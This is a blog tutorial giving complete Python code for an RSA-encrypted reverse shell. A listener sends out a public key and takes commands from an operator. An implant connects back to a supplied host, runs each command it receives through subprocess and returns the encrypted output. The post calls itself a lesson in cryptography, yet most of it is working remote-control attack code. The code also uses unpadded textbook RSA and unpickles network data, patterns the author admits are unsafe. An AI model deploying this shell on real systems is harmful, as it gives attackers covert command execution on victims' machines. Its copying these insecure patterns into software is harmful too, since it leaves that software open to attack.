This is a python tutorial on programming a reverse shell with RSA encryption. I like to mention that this post is more about understanding the cryptography involved in the shell rather than the shell itself. The github link is https://github.com/ca10x/RSA-reverse-shell.
First we need a listener to handle all incoming connections. Here is the code of listener_rsa.py
#!/usr/bin/python from Crypto.PublicKey import RSA from Crypto import Random from Crypto.Hash import SHA256 import socket from thread import * import sys import pickle #Generate public key and private key random_generator = Random.new().read key = RSA.generate(2048, random_generator) public_key = key.publickey() #Create socket and bind to accept connections s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.bind(("0.0.0.0", 4444)) except socket.error, v: print "Binding failed. Error code : " + str(v) + " Message " + v sys.exit() print "Socket bind complete" s.listen(2) print "[+] Listening to the incoming connection on port 4444..." def clientthread_sendpublickey(client) : client.send(pickle.dumps(public_key)) def clienthandle(client) : while True : command = raw_input('~$ ') client.send(command) if command == 'quit' : break buf = client.recv(2048) encreply = pickle.loads(buf) print key.decrypt(encreply) while True: (client, (ip, port)) = s.accept() print "Received connection from : ", ip start_new_thread(clientthread_sendpublickey, (client,)) print "Public Key sent to", ip start_new_thread(clienthandle, (client,))
I use PyCrypto module for cryptography in Python. Go ahead and install it. I recommend pip to install the modules.
$ sudo pip install pycrypto
Before we jump into the code let me explain you a bit about RSA encryption and it’s keys. RSA is an asymmetric encryption standard. It has two keys, public and private. In simple words, public key is used to encrypt the message and private key is used to decrypt. Below is a block diagram which describes the process
If you are interested in mathematical working of RSA, then I recommend reading http://mathworld.wolfram.com/RSAEncryption.html (Beware, for geeks only)
In the program above, a key is generated first which is also a private key.
key = RSA.generate(2048, random_generator)
The function RSA.generate takes two arguments, first is the size of the key in bits and second is the random number usually generated using python random function. After the creation of private key, public key is extracted from it and stored in a variable for future use.
public_key = key.publickey()
Sockets are created using socket module which is relatively simple. You can refer the official documentation of Python sockets for this or even a simple Google search will do.
The socket is binded and waits for the connection incoming connection.
Note - If you want to bind the socket in Linux to the port lesser than 1024, then you have to execute the script as root.
When a connection is received, a new thread is initialized to send the generated public key to the client so that it can encrypt the replies.
def clientthread_sendpublickey(client) : client.send(pickle.dumps(public_key))
Why do we use pickle? Pickle is used to serialize and de-serialize the python objects. Since public_key is not a regular string, it must be pickled and then sent to the receiver.
Warning - The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Once the public key is sent, another thread
clienthandle(client) is initialised to
while True : loop which sends the command given to the receiver. The receiver runs the command and encrypts the output using public key. Then the output is pickled sent to the listener.
The reply is unpickled, decrypted using the private key and printed on the screen.
encreply = pickle.loads(buf) print key.decrypt(encreply)
The connection is terminated if ‘quit’ command is given.
Let’s move on to the receiver’s end where the reverse shell resides. The script of the reverse_shell_rsa is given below
#!/usr/bin/python import socket, subprocess, sys from Crypto.PublicKey import RSA from Crypto.Hash import SHA256 import pickle RHOST = sys.argv RPORT = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) def receive_key(): data_key = s.recv(1024) return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey) while True : command = s.recv(1024) if command == 'quit' : break reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout, stderr = reply.communicate() en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply)) s.close()
As always, import the necessary modules. The IP address to connect to is given as an argument and is stored in the RHOST variable. Socket is created and the connection is made with the server (listener). As soon as the connection is accepted, the server sends the public key (Scroll up to the
clientthread_sendpublickey() in listener.py script) which is received via function receive_key() and depickled (remember the pickling?) to obtain the public key.
def receive_key(): data_key = s.recv(1024) return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey)
while True loop is initialized for the persistence of the connection and command is received. If the command is ‘quit’ then the show is over. Else the given command is run as a subprocess and the standard output, standard error is piped as to the variable ‘reply’. The standard output is then encrypted using the public key, pickled and sent to the server.
en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply))
It then waits patiently until the next command.
This method is the implementation of ‘textbook RSA’. For the real world implementation, you have to add paddings such as PKCS1_OAEP.
The RSA is a lot slower and it can encrypt only 256 bytes at a time. Why you ask? Because the value of n is 2048 and 2048/8 = 256. The threshold will lower if the padding is added since it takes up couple more bytes.
The workaround is that the RSA should be used over AES.
I’ll explain that concept in the next post. Since this is my first post, feedbacks are welcome and appreciated.
Happy new year folks!